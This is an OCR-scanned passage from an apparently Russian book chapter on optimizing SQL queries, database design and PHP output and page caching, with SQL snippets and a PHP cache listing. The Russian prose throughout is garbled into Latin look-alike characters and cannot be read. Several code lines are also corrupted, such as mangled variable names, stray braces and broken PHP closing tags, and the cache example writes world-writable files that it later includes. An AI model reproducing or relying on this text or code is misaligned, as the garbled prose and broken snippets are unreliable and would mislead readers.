BUOHO TOJILKO UYEAOBEKY, a2 ONTHMH3ATOP 3TOrO MOXET HE YBHIAETbH, W, Hecmoqmi
Ha UX CX0XeCTb, OyAeT NMPOU3BOANTL BCE MOATOTOBHUTE/BLHBIC LUATH A K&XAOTO.

Utobbi 3TOr0 He 6biNO, HYXHO MCMONbL30BaTh nepeMenHbie. [lepemennbie B SQL,
CXOKH IO HaszHaueHW1o ¢ nepemeHHbiMU B PHP, HO B 3aBHCHUMOCTH OT CYBA]
W Apaiisepa MOTYT OOPMIATLCA pasHbIM criocoGom. TMoatomy s He 6yny nenats)
HUKakuX odopmaenuii, ytobbl He cOUTHL Bac ¢ ToAKy, a mpocTto 6yny Ha3bIBaTD|
nepeMeHHbie UMEHEM paramX, rAe X — 310 Jiloboe uuco:

SELECT *

FROM TableName

WHERE ColumnName=paraml

Tenepb DOCTATOUHO TONBKO MEpenaTh 3HAYEHHE MEPEMEHHON paraml. B sTOM:
cay4ae SQL-3ampockl 6yayT BOCIPUHHUMATBCA ONTHUMH3ATOPOM KaK OAWHAKOBBLIQ
H JIMIUHUX 3aTPaT Ha MpPOoBeJAeHHEe MOArOTOBHTEAbHbIX 3TANOB He Oyner.

Bydep ansa xpaHeHHs Tu1aHOB BbIOAHEHHA He GeckoHeveH, MO3TOMY B HEM Xpa-
HATCA AaHHBIE TOJILKO O mocaeaHux SQL-3anpocax (koaU4YeCTBO 3aBUCHT OT pase.
mepa Oydepa). Ecnu kakoit-to SQL-3amnpoc BbiosiHAETCA AOCTATOYHO 4acTo, TO -
B HeM o00f3aTebHO HYXHO HCIONb30BaTh IIEPEMEHHbIE, [TOTOMY 4YTO 3TO.
3HAYUTENbHO MOBLICHT MNpou3BoaMTeNnbHOCThb. [lonpobylite ABaXkabl BLIONKHUTS
OMH U TOT ke SQL-3anpoc U NocMOTpeTb HA CKOPOCTDb BBLIIONIHEHUA. BTopuuHoe
BbimoAHeHHe Oyner HaMHoro GbicTpee, YTo MOXET ObITh 3aMETHLIM AAXKE Ha riias.

Ecan SQL-3anpoc BbInosHAETCA He 04eHb ObICTPO, HO OYEHb PEAKO, TO MOXKHO He
CUIbHO OoOpallaTh BHHMaHKA Ha ero onruMH3auuio. Jla, 3To yreepKaeHHe BEpHO,
HO TONbKO He ana Web-cepBepoB, rae NpoH3BOAKTEABHOCTh UMEOT KPUTUUYECKO®
3Ha4YeHue.
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Cospemennnie CYBJ1 Moryr nonnepkusath BinoxeHHbie SQL-3anpoch. B HeKo-
TOPBIX C/ly4asX MPOrpaMMHCTH HAYUHAIOT UMH 3n0ynoTpednatsk. [1pu Hanucanuu
SQL-3anpocos crapaiiteck HCONL30BaTh MHHUMAaNbHOE KONTMYECTBO OMNEPATOPOB
SELECT, OCOOCHHO B/IOXKEHHbIX B CEKLUIO WHERE. JIn4 MOBBILLEHHA MPOH3BOIH-
TENBHOCTH HHOTAA XOPOLUO MOMOraeT BLIHOC JIMIIHEr0 SELECT B CEKLMIO FROM.
Ho uxoraa OwuiBaer u Haobopor — Obicrpee 6yner BoinonHatsbes SQL-3ampoc,
B KOTOPOM SELECT BBIHECEH U3 FROM B T€10 WHERE. OTO y)K€ 3aBUCHT OT OMTHMH-
3aTopa koHkperHoit CYB/.

HomycTvM, 4TO HaM Haao BbIOpaTh Beex atofe#t U3 6a3bl maHHBIX, KOTOpbie pabo-
TAOT Ha TMPEATIPHATHH B AaHHbIH MOMEHT. [lna Bcex pabortalomux B KOAOHKE
Status CTaBUTCA KO, KOTOPbIH MOXXHO TOAYYHMTb U3 CMpaBOYHHUKA COCTOAHHIA.
[TocmMoTpuM Ha nepsbili BapuaHT SQL-3anpoca:
SELECT *
FROM tbPerson p
WHERE p.idsStatus=

(SELECT [Keyl] FROM tbStatus WHERE sName='PaCoTaer')

Bam Heo6s3aTeNbHO MOAHOCTBIO NMOHUMATL CYTh. [ 1aBHOE 34€Ch B TOM, 4TO B CEK-
UMK WHERE BBIOAHAETCS BoXKeHHbIH SQL-3ampoc. On Oyner reHepuposaThes
LN KaKAo# cTpokH B Tabnuue tbPerson, YTO MOXKET OKa3aThbCHd HAaKIAAHBIM
(noay4aeTca UHKII, @ LHKJT — Bpar NpoU3BOAUTEALHOCTH).

B Takux cayudasx s npeanouutaro CYB]I, kotopsie He MoryT paboraTth ¢ BioXKe-
HUAMM, YTO NPUBOAUT K HeobxoauMocTH Hamucauusa asyx SQL-3anpocos. ep-
BbIH Oyner mony4artsb craryc:

SELECT [Keyl)

FROM tbStatus

WHERE sName='PaGoraeT'

A BTopoH 6yaeT UCroAbL3OBATH €ro 118 BbiOOpKH pabOTHHUKOB:
SELECT *

FROM tbPerson p

WHERE p.idStatus=[onyuyeHHwst CraTtyc

Tenepb OCMOTPUM, KaK MOMHO BHIHECTH SELECT B CEKUHIO FROM. DTO MOXHQ
caenarthb Tak.
SELECT *
FROM tbPerson p,
(SELECT (Keyl] FROM tbStatus WHERE sName='PaGoraeTt') 8
WHERE p.idStatus=s.Keyl

B atoM caydae Gyner BbinonHed SQL-3anpoc U3 CEKLIMU FROM. A BO BPOMA OBAIbIe
aatius petyantata ¢ Tabiunch pabomiMKoB Mbt HONYMHM OKONYMETEIbHbIA PO3Y/INTAT,
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Takum obpaszom, BiOXeHHE He OyneT BLINOAHATLCA JUIA KAOKAOH CTPOKH H, COOT-
BETCTBEHHO, He OyneT uukna.

JaHHbie IpUMEPHI CITHILIKOM IPOCTbI B MOTYT BBHITOJIHATECA 32 OAHO K TO XKe Bpe-
MA C TOYHOCTBIO A0 CeKyHAb! Onarofaps ontumusatopy. Ho npu ncnonbzosanuu
Gonee pa3BeTBIIEHHON CTPYKTYpbl UM ciiokHoro SQL-3anmpoca MOXXKHO CpaBHHTH
BpeMs BHINIOHEHHUA H BbIOpaTh Haubosee npeanouTHTENbHbIA BapUaHT AJg ompe-
genennoit CYBJl (Hanomunaro, yro pasuvie CYBJ] moryr obpabateiBate SQL-
3a[IpOChl 10-PA3HOMY).

B 60abIUKMHCTBE XKE C/TyuaeB Kakabli SELECT OTPHUATEABHO BJIHMAET Ha CKOPOCTb
paboThbi, NO3TOMY B MPEAbIAYILEM IIPUMEPE HYKHO U36aBHTBCA OT HEro:
SELECT *
FROM tbPerson p, tbStatus s
WHERE p.idStatus=s.Keyl
AND s.sName='PaGoraer'

B nanHoMm cnyvae Takoe o6beauHEHHE ABJiZeTCA CaMbIM NPOCTbIM U HArpailxBa-
erca camo coboil. B 6osiee croxHBIX MpUMeEpax NPOrpaMMUCTBI O4€Hb YacToO HE
BUAAT BO3MOXHOCTH pEIUCHHS 3agaud oaHum SQL-3ampocom, XOTA Takoe peitie-
HUe O6BbIYHO CYLIECTBYET.

O6benunenus 3ddexTurHbl, HO Aaneko He B Kaxao CYB] (cm. pazo. 8.1). Tlpo-
OyiiTe, TecTHpY#TE U U3yuaiiTe CHCTEMY, B KOTOPOI BbI paboTaeTe.

8.2.2. OnTuMmusayus 6a3sl AaHHbLIX

OnTHMHU3aLMs JOJKHA HAYUHATBLCA €LIE Ha JTalle TPOSKTUPOoBaHHA Oa3bl HaHHBIX.
OueHb YacTO MPOrpaMMHUCTBI 3aAa10T NOAAM pasMep ¢ AOCTaToO4HO OOnbIUHUM 3a-
nacoM. [ToHauany s ¥ cam Tak noctynan. TpyaHo npeackasaTb, Kakoro pazmepa
OymyT XpaHUTbCA JaHHbLIE, a ec/M BIOPaHHOIrO pa3Mepa NnoJjis He XBaTHT, TO Mpo-
rpaMma He CMOXXET COXPaHUTb HEOOXOOHUMYIO CTPOKY.

B uexotopuix CYBJI, ecnu He yka3aTb pa3mep noss and XPaHEHHUA CTPOKH, OH
NpUHKUMAET MAaKCHMaIbHO BO3MOXHOE 3HAUYeHHE HIIK 255, DTO HENPOCTHTENbHOE
pacToOYMTENLCTBO AHCKOBOIO NMPOCTPAHCTBA U co3uaBaeMas 6a3a JaHHBIX CTaHO-
BUTCA HeonpaBaaHHO Oonblwioi. A yem oHa Gosblue, TeM caoxkHee ee o6pabo-
TaTb. Ecnyu e yMeHbWwHTL ee pasmep, To CYBI] cmoxkeT MakcUManbHO OLICTPO
3arpy3uTh AaHHbIE B NaMATb W NpousBecTH Nouck 6e3 oOpalieHHs K )KECTKOMY
avcky. Ecnv 0a3a naHHBIX He MTOMeLaeTcs B NaMATH, TO NMPUXOAUTCH 3arpyXKaTb
ee MO 4acTAM, a B XYyIUleM clly4ae — HCMNOab30BaTh (ain moaka4kd, KoTopbift
HaXOAMTCA Ha AuCKe ¥ paboTaeT B HECKOAbBKO pa3 MEMJICHHEE OnepaTHBHON
naMaT.
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A
KoHeuHo e, MOXXHO YBeNH4YHTb 00BEM OMEpaTHBHOM NMaMaTH A0 pa3mepa Gasni,
YTO MO3BOJIMT 3arpy3UTh BCE AaHHbIC B namATb U o6pabaTbiBaTh UX Tam, YTO Ha-
MHOro 6bIcTpee, HO ITO HE YCKOPHT caMy 3arpy3Ky.

Htak, urobsl Baia 6a3a AaHHBIX 66112 MUHUMATLHOMN, Bbl A0/MXKHBI UCMTOAB30BATH
TONbKO HeoOXxoauMell pasmep noneii. Hanmpumep, ans xpaHenus Homepa tenedo-
Ha noctaTo4Ho 10 CHMBOJIOB M HE HaAO HcroAb30BaTh AA atoro 50. na Tabnuusl
¢ 100 000 3anuceit 3to 6yayt nunde 4 M6aiit uHpopmauuu. A ecau monedt
C 3aBblileHHbIM pa3MepoM 10?7 B stom cayyae pacxol CTAHOBUTCA CAHILKOM
Gonbiuum. Ecnn none posmkHO MMeTh pasmep 6onee 100 cumBonos, noaymaiite
O TOM, yTOOBLI MCMONL30BaTh THII TEXT UK MEMO. HekoTopbiM 6a3aM maHHBIX 3TO
OEUCTBUTENBLHO MOXKET MOMOYb, MOTOMY UYTO 3HAYCHUA TAKHUX MOAEH XpaHATCHA
Ha OTAEAbHBIX CTPAHHLAX.

OpHoBpemeHHo ¢ ontumuzauuedi SQL-3ampocoB Bbl OOMKHBI ONTHMU3HPOBATh
U camy 6a3y maHHBIX. DTO JOCTHraercs ¢ MOMOLUbIO BBEACHHA AOIMONHHUTEAbHBIX
HWHIEKCOB Ha 110N, MO KOTOPHIM 4acTo MpOHCXoauT Bbibopka. Mumekchl Moryr
3HAYHTEbHO YCKOPHTD MTOUCK, HO C HUMH HY>XHO 00paluarbca akKypaTHO, [IOTOMY
4yTO CiMiukoM Gonbilloe UX KONM4eCTBO MOXKeT 3aMeinuTL pabory. Haue Bcero
3aMEUICHHE NMPOHUCXOAKT BO BpeMs noOaB/ICHHA WM yaalieHHe 3alucei, 4To Tpe-
6yeT BHECEHHA U3MEHEHHI B 60/b1I0E KOTHUECTBO HHIAEKCOB,

[Mocne BHeceHHWs W3MEHEHHUI BbI JOMKHBI MIPOTECTUPOBATH CHCTEMY HA NpenaMeT
NPOHU3BOAKTENLHOCTH. ECH CKOPOCTh HE YBENH4YMAACh, TO YAANIUTE MUHOEKC, YTO-
Obl OH He OTHHMan JIHILHHE pecypchi, NOTOMY 4TO Ao6aBfieHHe CNEAYIOLIEro HH-
OeKca MOXKeT He MPHHECTH xKenaemoro 3hdeKTa M3-3a MPUCYTCTBHA Mpeabiay-
LIMX — HE UCTIOb3YEMbIX, HO OTHHMAIOLIUX PECYpChl.

Eue onHumM crmocoOoM MOBLILLEHHA CKOpPOCTH paboThl 3anpocoB MoxKeT ObIThL Ae-
HOpMaJiW3auMsa AaHHBIX. Y10 310 Takoe? Y Bac MoxkeT 6bIThb HECKOABKO CBA3aHHbBIX
Tabsul, HanpuMep, B OJHOH W3 HUX HAaxOAUTCA (aMWIUA yeloBeKa, a B ApPYroi
ropon npoxuBaHua. Urtobbr monyuuts B oaHOoM SQL-3anpoce o6a 3HaueHHUs, HYXK-
HO HaBECTH CBA3b MEXAY 3TvMH TabMMuAMHU, YTO MOXET OTPHULIATENBHO CKa3aThCA
Ha NMPOU3BOAMTEABHOCTH. B Takux ciydasx 3HaveHus OaHOH TaOAULBI KOMHPYIOT
B APYTYHO 4 CBA3b CTAHOBHUTCA HeHYX<Ho#. KoHeuHO xe, noasngerca v U36bITOU-
HOCTb JAHHBIX — B [BYX Tabnuuiax XpaHUTCA OAHO M TO XK€, HO 3TO MOBBICHT CKO~
pocTb 06paboTky U HHOrAA OYeHb 3HAYHTENBLHO.

MuHYyCOM IeHOpMalu3auuy ABJISETCA U CIOXKHOCTb MOAKEPKKH AaHHbIX. Ecnu
B OJHOH Tab/Auue W3MEHHUNOCb 3Ha4yeHWe, TO Bbl NONXKHBI OOHOBUTH COOTBETCT-
BylOLIME 3HauyeHHA B apyrod Tabnuue. UMeHHO MOITOMY AN AEHOpMaIH3ALMH
HCIIONL3YIOT TOABLKO T€ NOJA, KOTOpbie W3MeHsaloTes penko. Kpome Toro, ecnu
CYDB/JIl noanep:kuBaeT TpUrrepsl, To 3aga4y no obxHosaeHuo Tabauu MOXIIO nepe-
NOXHTb HA HCe.
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Hau6onee pacnpocrpanenHoit CYB]J] B Web asnserca MySQL. [lna nee cywect-
BYeT aBTOMAaTH4ECKUH MeToA ONTHUMH3ALMM: ONEpaTop OPTIMIZE, KOTOPLIA MOXKET
MOBBICHTb CKOPOCTH paboThbl C IIOMOLIBIO BBIMTOJIHEHUSA TPOPHAAKTHYECKUX AeHCT-
B, KOTOpbIE BIUHOMAIOT COPTUPOBKY HMHIEKCHBIX CTPaHHML, OOHOBJIEHWE CTaTH-
CTHUKH, OYUCTKY YA&NEeHHbIX CTPOK U T. A. OnepaTtop UMeeT CAeAYIOWHUi BUA:

OPTIMIZE TABLE name

B kauecTBe mapaMerpa name ykasbiBaercs MM Tabnuubl, koropas TpebyeT omTH-
MH3aLIHH.

Cospementbie CYBJ] ana Beibopa npaBunbHOro nnaaxa seinondesdns SQL-3anpoca
UCTIONB3YIOT CTAaTHUCTUKY. Ecnu oHa y Bac He BiIlOMeHA Ha aBTOMAaTH4ECKOE MC-
N0/b30BAHHE, TO A PEKOMEHAYIO cAeAaTh 3TO ceiuac.

Kak ctaTucTHKa MOXKeT HaMm nomoub? J[omycTHM, YTO Y Hac €cTb CIIUCOK paboT-
HUKOB siuTeliHoro uexa. [IpumeprHo 90% aroro cnucka (ecnu He 6onee) OyayT co-
CTaBjATb MYXKYHHBI, BEAb JIHTEHHOE NPOM3BOACTBO AOCTATOYHO TAXKENO0E ANA
eHlHH. Ternepb AOMYCTHUM, YTO HAM HY)KHO HAWTH BCEX XKEHIUH M3 3TOro CIIH-
cka. Tak kak ux Mano, Haubonee 3QHeKTHBHBIM BAPUAHTOM GyneT HCTIONb30BaHKE
HHIEKCA, HO eC/U HY)KHO HaHTH MYXUHUH, TO ero addekTuBHOCTL najaet. Konunue-
CTBO BLIOMpAEMBIX 3alTHCEH CAULLIKOM BEJIMKO M ANA KaXROH U3 HUX o6XoauTh He-
peBo HHAekca OyAeT NUILHUMH HaknagHbIMH pacxomaMd. Hamuoro npouwe npo-
CKaHWpOBaTh BCIO TAGAHL, YTO BBIMOAHHUTL HAMHOTO ObicTpee, MOTOMY uTO
OOCTATOYHO MO OHOMY pa3y MPOUUTATh BCE AHUCTbA HIDKHErO YpOBHA HHAeKca 6e3
Heo6Xx0AWMOCTH MHOTOpPa30BOro YTEHHA BCEX YPOBHEH.

8.2.3. Bbibopka HeoOxoanMbLIX AAHHLIX

ITpu pabote ¢ 6azaMu naHHbIX MBI perynspHo nuiem SQL-3anpock! Ha BLHIGOPKY
aanHbix. KonHuecTBo BbIOMpaeMbIX JaHHBIX MOXKET ObITh OueHb GosbiuuM. [Ipo-
CTOH npumep — mnouckoBas cuctema. [lonpobyitte Ha Web-caiite Yahoo wnn
Google 3anmyctuTts nouck no cnopy PHP. Mue nmorckoBas cuctemMa coobliuna, 4to
HalgeHo okono 690 000 000 3amuceit U npu 3TomM HA 06paboTKY 3anpoca NoOHa0-
6unoce Toabko 0,05 cexyHn. B peanbHoCcTH BbIGOpKA TAKHX AAHHBIX JaXeE HA ca-
MOM ObICTpOM KOoMMNblOTepe 6yneT NPOUCXOAUTL HAMHOTO NO/blle, TaK OTKYHA XKe
Takas CKOpocTb? PellleHHe HAXOOUTCA HE B MOLIHLIX KOMMbIOTEpAX KOMITAHHH
Yahoo unu Google, 1 npocTo yBepeH, 4TO BCe KPOETCA B MPABHIBHOCTH Hanuca-
Hua SQL-3anpoca.

HonyctuM, yTo Kaxkaas cTpoka B Oaze nanHbix Google 3anumaer Bcero 100 Gafit.
B peanbHOCTH, KOHEUHO XK€, pa3mMep CTPOKH HaMHOro 6onblie, HO Mbl OTPAHHYHUM-
Cl TAKMM MAJICHbKHM YUCIOM, U JAXKE €ro XBaTHT, YTOOB yxacHyTbCca. Ecan yM-
HOXHMTL ykcno 100 Ha KonHYecTBO CTPOK B pe3yibTaTe, TO Mbl ITONYYHUM, YTO pe-
3ynbTaT Oyaer 3aHuMath 69 I'6aiit. {axe ecnu CYBI ¥ ucronbiyemslil cueHapuit
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HAXOOATCA HA OJHOM KOMIIBIOTEpE, MOJyYEHHE TAKUX AAHHBIX OTHUMET HE OAMH
OECATOK CEKYHO. A €C/H Ha pasHbIX? [axke NpH COBEPLUECHHO HE 3aHATOM H CAMOM
MOLWHOM KaHaJIC MEepechlika TAKOro KOJIHYECTBA MAHHBIX OTHUMeET ewe 6onbuie
BpPEMEHHU.

Tak kak ke 310 npoucxoaut? leno B Tom, 4T0 0TOGpaXkaTh MONb3OBATENIO BECH
CIIHCOK Pe3yibTaToB MOMCKA CJAMILKOM HaKIagHO, MO3TOMY OH pa3buBaercs Ha

CTpaHHUBI, Ha KKAO0A K3 KotopbiX oToGpaxaercsa ot 10 ao 30 sanuceii. Mcxons
U3 3TOTO, MOJTy4eHHe pe3yibTaTa MOXKHO pa3buth Ha ABa 3Tarna:

1. Onpenenutb obliee KOAUYECTBO 3aMUCEH, YAOBJECTBOPAIOWUX KPUTEPHAM MO-
HcKa:
SELECT Count(*)
FROM TableName
WHERE Kpurepnm noucka

PesynbTaToM SQL-3anpoca 6yneT Bcero AHILL OQHO YUCAO, VIS XPaHEHHS KO-
TOpOro xBaTHT U 4 6aittos. Takoe uncno CYB]] cMoxeT MFHOBEHHO MepeaTh
CLEHapHIO.

2. BbibpaTb gaHHbie qna GopMUPOBAHHA TOABKO OOHOH cTpaHuLbl. Ha HayanbHOM
3Tare 3TO repBas CTPaHMUA U HY:KHO BbIGpaTh nepsule N 3amuceid. Ecnu crpa-
HULA BTOpas, TO BbiOKMpaeM 3anucd N+ 1 gao N+ N 4 1. a. 10 HaMHOr0 yno6-
Hee U ObICTpee 110 ABYM NpPHYHHAM:

o korga CYB]] ckanupyer 6a3y qaHHbIX B ITOUCKE HY>KHBIX 3aMUCEH U HAXOAMUT
nepsbie N CTPOK, TO MpepbiBaeT MMOMCK W BO3BPALLAET Pe3yabTaT KIHEHTY.
HanbHeHiee ckaHupoBaHUe 6€CCMBICIEHHO, MOTOMY YTO KiIHeHTy GosbLue
3aMUCei MOKa He HYXHO;

e 10 ceTH nepenaerca Tonbko N * pa3Mep CTPOKH NAHHBIX, YTO HAMHOrO
MEeHbILIe, YeM pa3Mep CTPOKH, yMHOXeHHBIH Ha 690 000 000.

B cnyuae ucnons3oBauus camoii pacnpocrpadentoit CYB MySQL ana peanuza-
LIMH BCEro BbILUECKA3aHHOTO HY>KHO HCIOAL30BATh ONEPaTop LIMIT:

SELECT *

FROM TableName

LIMIT Y, N

re Y — CTPOKa, HAaYMHAd C KOTOpPOH HY)KHO BO3BpallaTh pe3yAbTaT, a N—
konuvecTBo cTpok. Hanpumep, ecnu HeoOXOaUMO MOAYYHTb CTPOKH, HAYHHARA
¢ 10-oif mo 25-10, Hy»Ho BbioIHKWTL SQL-3anpoc:

SELECT *

FROM TableName

LIMIT 9, 15
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Ecnu Heo6xX0AMMO nOMyYHTH BCE CTPOKH, HauMHas ¢ 50-0#, TO B KA4ECTBE N HYXKHO
yKa3aTb YHcio —1:

SELECT *

FROM TableName

LIMIT 50, -1

Bceraa noayu4aiite ot CYBJ[ Tonbko caMble Heo6xoauMbie naHHble. J[axe 3anpoc
AMIUHEH KOAOHKH Tpelyer JMILHUX 3aTpaT M pecypcoB HE TOAbBKO Ans Web-
cepBepa, HO U U1 ceTeBOro 060pyAoBaHus, U AJis KIHEHTa.

8.2.4. Pe3iome

Meb1 paccMOTpead TONbKO OCHOBBI OMTUMH3auMu SQL-3anpocos, 3a 6onee moa-
pobHoit nudopmauueii obpawmakitech k crieLHaIW3UPOBAHHON JIMTEpaType 10 HC-
nonb3yemoii Bamu CYBJI. [Ina MS SQL Server u ero onTUMH3auuH MOTy MOPEKO-
MeHIOBaTh KHUry "Transact-SQL. B moanuuuuke” [4].

8.3. OnTumusauun PHP

~

Mgl paccMOTpenH TeopHIO ONTHMH3ALUUH, TTOTOBOPHIIM O TOM, KaK MOXXHO YCKO-
pute pabory CYB], a Tenepb HaM NpPeACTOUT y3HATh, KaK K€ MOXHO ONMTHMH3H-
posate cam kog PHP. Korpa Bbi Haiuinu cnaboe Mecto B cMcTeme U ybenunuch,
4yTo 1A paboThl ucnonb3yerca Haubonee 3¢ PeKTUBHBIH ANrOPUTM, MOXKHO Mepe-
XOOUTh K yAy4ileHuio kona ¥ PHP-UHCTpyKuMiA.

B sTtoM pa3jene Mbl pacCMOTPHUM METOAbI, KOTOPbI€ MOTYT 3HAYUTENbHO CHH3UTH
Bpemsa ¢opmupoBaHus Web-CTpaHHL H YMEHbIUUTb BEPOATHOCTD YCIIEIHOTO Tpo-
BeaeHus DoS-ataku. HecMoTpa Ha TO, 4TO MBI OyAeM paccMaTtpuBaTh NpUMeEpbl
Ha PHP, nomobHbie anropuTMbl MOXHO peann3oBaTh U B APYrUX A3biKax mpo-
rpaMMHPOBaHKA. '

8.3.1. KawunpoBaHue BbiBOAA

Y PHP ecTb HeckonbkO WHTepecHbIX (YHKUMH, C NMOMOLIbLIO KOTOPbIX MOXHO
BKIIOUHTL Oydepusauunio BbIBOAA H MOBBLICHTH CKOPOCTb paboThbl cueHapus, Ha-
NPUMED, KILIKPOBaHHE BbIBOJA.

Jing Hayana xawKMpoBaHWA HEOOXOAUMO BbI3BaTh (QYHKUMIO ob_start, a B KOHLE
BbI3BaTh (YHKUHIO ob_end_flush. Bce onepauudy BbiBOOA AaHHbIX (HAMpUmep,
print) ME&XAy BbI30BaMH ITHX ABYX QYHKUWHA 6yayT coxpauaTh AaHHbie B Oyde-
pe, a He HanpaeaaTh KaveHTy. HemocpeacTseHHas oTnpaBka AAHHLIX KJIHEHTY
HPOU3OAAET TONBKO Mocne BbI30BA (YHKUUM ob_end_flush. Eciu (yHxuHsA
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]
ob_end_f1lush He Oyaer BbiaBaHa, TO AaHHble 6yayT HanpaBneHbs Web-cepsepy nmo
3aBEPLUEHHIO BLINIOTHEHHA CLICHapHA.

Cneaytomuii npuMep MokasblBaeT, KaK UCIIOAb30BaTh PYHKUMHU K3LLIHPOBAHHUS:
<?php
ob_start():

// BrIBOO HaHHLIX

ob_end_flush();
7>

Bo Bpems BLINOAHEHHA CueHapHA Bbl MOXKETE KOHTPOAHPOBATh cocTrosHHe Oydepa.
Js 3TOro MOXXHO BOCIMOb30BATLCA OQHOH U3 ABYX (pyHKLMH:

O ob_get_contents — (yHKUHA Bo3Bpalnaer coaepxumoe 6ydepa,
0 ob_get_length — QYHKUHA BO3BpaLLAcT pa3Mmep BbiaeaeHHOro 6ydepa.

Bydepuzauunio MOXKHO YCKOPHUTD elle Gonbille, €CTH BKJIIOUYHUTL CXKATHE NAHHbBIX.
J1a 3TOro Hy’>KHO BBIMOAHUTL QYHKLMIO ob_start, a B Ka4eCTBE napaMeTpa nepe-
IaTb CTPOKY ob_gzhandler:
<?php

ob_start('ob_gzhandler');

// BeIBOO NMaHHEIX

7>

B stoM cnyuae maHHbie OyAyT fepenasaTthea KIHEHTY B cokaTom Buae. Ecau Gpay-
3ep KAUEHTA HE MOANEPKHBAET CXKATHA, TO AaHHbie OynyT nepenaBaTbca B OTKpBI-
Tom Buae. Haxe ecnu 50% nonb3osatened OyayT noaydath CKaThle NaHHbIE, Bbl
CIKOHOMMTE NOCTATOYHO MHOTO TpaduKa, a 3HaYuT U pecypcos. Jlns Web-cepeepa
3TO JIMILIHHE pacxonbl MPOUECCOPHOrO BPEMEHH, Bellb NMPUXOOAMTCS BBIONHKATH
JMIHWE OMNepauqy Mo CXKaTUI0. 3aTO CeTeBbie KaHalnbl cMOryr obpabatbiBaTh
6onbuiee KOAMHECTBO 3aNpOCOB, a 3HAYUT W ObicTpee. Ecnu Baiu kaHan CBH3H
3arpyxeH 6onee uem Ha 70%, HeobxoaumoO nogymatb O TOM, YTOOLI BISTIOUMHTH
K3IKMpOBaHHUE.

8.3.2. KawnposaHue Web-ctpanuy

Ecnu Bawu cueHapuu ans dopmuposanus Web-ctpanuusl Hcnonbs3sytor SQL-
3afpockl K 40CTaTo4HO Gosnbilol 6ase naHHbIX, W NP 3TOM H3MEHEHHA B Helt
IPOMCXOJAT PedKo, TO MOXKHO K3lnpoBaTh Uensie Web-cTpanuusl. Kak oucHuth,
11aCKONBKO peako meHsetcs 6a3za maHHbIx? U1 3TOro Hy)XHO CpPaBHUTH ‘ACTOTY
W3IMCHEHUN ¢ xonnyecTBOM obpawennii, U ccau MeXNY HIMEHOHHAMH NPOKCXOAHT



248 Mnaea 8

Gonee 100 obpamennii, To KIWMPOBAaHHE MOXET pealibHO MOMOMbL BallleMy
Web-caiity.

Bo BpeMs KaiiMpoBaHUA, NPH MEPBOM OOPAIUCHHH MOCHE BHECEHUA H3MEHECHUH,
AaHHble Web-cTpaHuLb! GOPMHPYIOTCA C MOMOLUBIO CLEHapHi, U nocie GopMUpo-
BaHHUA COXPAHAIOTCA HA XECTKOM JUCKE B crienuanbHol Aupexropun. [Ipu nocne-
aywoueM obpauieHun k 3ToH ke Web-crpaHuue cueHapHil mpoBepseT HajiMuue
k31113, U €CJTH OH CYLUECTBYET, TO 3arpyxaet ero. TakuM o6pa3om, He HyxHo Oyner
3aHOBO (hopmHpoBaTh Web-cTpaHHLyy, OyAeT CHHXXEHO KOAMUYECTBO OOpaiieHui
k 6a3e JaHHBIX U 3HAYMTEJIbHO YMEHDBILUUTCA Harpy3Ka.

Hna xawuposanus Web-crpauul y PHP Het rotosoro u 3¢dekTusHoro peiue-
HUA, 4 U HE MOXET ObITb, MOTOMY YTO 3TO peLICHUE HEe MOXET ObITb YHHBED-
canbHbiM. Bce mpuxoauTcs co3gasaTh CAMOCTOATENBHO, MO3TOMY B JAHHOM pas-
Aene HaM NPEACTOMUT PaccMOTPETb BO3IMOXHbBIA BapUaHT pelleHHs npobieMsl
KI3LLHPOBaHHA.

Hasaiite nogyMaeMm, Kak 0ObeOUHHTHL K3LIHpOBaHWe BbiBoAa (cm. pazo. 8.3.1)
U kawHuposanHe Web-ctpanuu. Ecnu o6beqHHUTL 3TH JBE TEXHOIOIHH H HEMHOTO
MoAyMaTh, TO MPUMEP peaiM3auMy K3upoBaHus Web-cTpaHul cTaHer oveBuA-
HbIM (JIUCTHHT 8.1).

A Y T H TR

<?php
// OYHKUMA YTEHUMA K3wa
function ReadCache ($CacheName)
{
if (file_exists("cache/$CacheName.htm"))
{
require("cache/sCacheName.htm") ;
print("<HR>CTpaHuua 3arpyxeHa u3 K3wa");
return 1;
}
else
return 0;

// GYyHKUMSA 3anMcH K3la
function WriteCache($CacheName, $CacheData)

{
$cf = @fopen("cache/$CacheName.htm", "w")
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or die ("Can't write cache");
fputs ($cf, $CacheData);
fclose ($cf);
@chmod ("cache/$CacheName.htm", 0777);

// OcHoBHo#t kop Web-cTpaHMUH
if (ReadCache("MainPage")==1)

exit;

ob_start();

print ( "<CENTER><B>I'nnaBHas Web-crTpaHnua</B></CENTER>") ;
print ("<P>310 Tecroeas Web-cTpanuua"):;
WriteCache("MainPage", ob_get_contents(});
ob_end_flush();

?>

OcHOBHO# KO CLeHAapHA HAYHUHAETCA C 3ampoca 3arpy3kd Web-crpaHuubl U3 Ka-
ia. Jlng 3Toro y Hac B IMCTHHre co3gaHa QyHKUHA ReadCache, DYHKUHH nepena-
eTca uMA Qaiina, KOTOpbIA HYKHO 3arpy3HThb, BElb B K31LE MOTYT ObITh COXpaHEHBI
u apyrue Web-crpanuusl. B naHHOM cnyvae noapa3symesaem, YTO cueHapHii ¢op-
MUpYeT riaasHy0 Web-cTpaHuLly ¢ UMeHeM MainPage, U HMEHHO 3TO 3HA4Y€HUE Mbl
nepejacM B Ka4ECTBE Napamerpa.

Hasa#ite Tenepb MOCMOTPHM, YTO MMPOUCXOOHT B QyHKUHUH ReadCache. 31€Ch Y HAC
MIPOUCXOAMT MPOBEPKA HA CywlecTBOBaHHe (aiia ¢ ykasaHHbIM UMeHeM. Ecnu Ta-
KOH (palin CywecTByeT, TO OH MOAKIIOYAETCA C MOMOLIbID require, U QYHKLHA
BO3BpawaeT 3HayeHue 1. Jlng mpumepa s ele BbIBOXKY Ha 3KpaH cooblucHWe
O TOM, 4TO 31a Web-cTpaHuua Obuia B3aTa U3 K3La, 4ToObl BBl BUAENH pe3ybTaT
paboThbi.

Bepuemcsa k ocHoBHOMY Koay. EcaM gyHkuMsa ReadCache BepHyna |, TO BbIMONHE-
HUe cueHapus npepbiBaerca. HeT cMbicna TpaTUTh BpeMa Ha dopMupoBanie Web-
CTpaHHLbI, €C/TH OHa Oblia B3ATa U3 K3lla.

Hanee, BuimoAHAeM (YHKLUHUIO ob_start, YTOOBl HauaThb K3ILMPOBAHHE BbLIBOJA,
u HauuHaeM ¢opmupoBaTh Web-ctpauulyy. [lepen Tem kak BbI3BaTh ob_end_£flush,
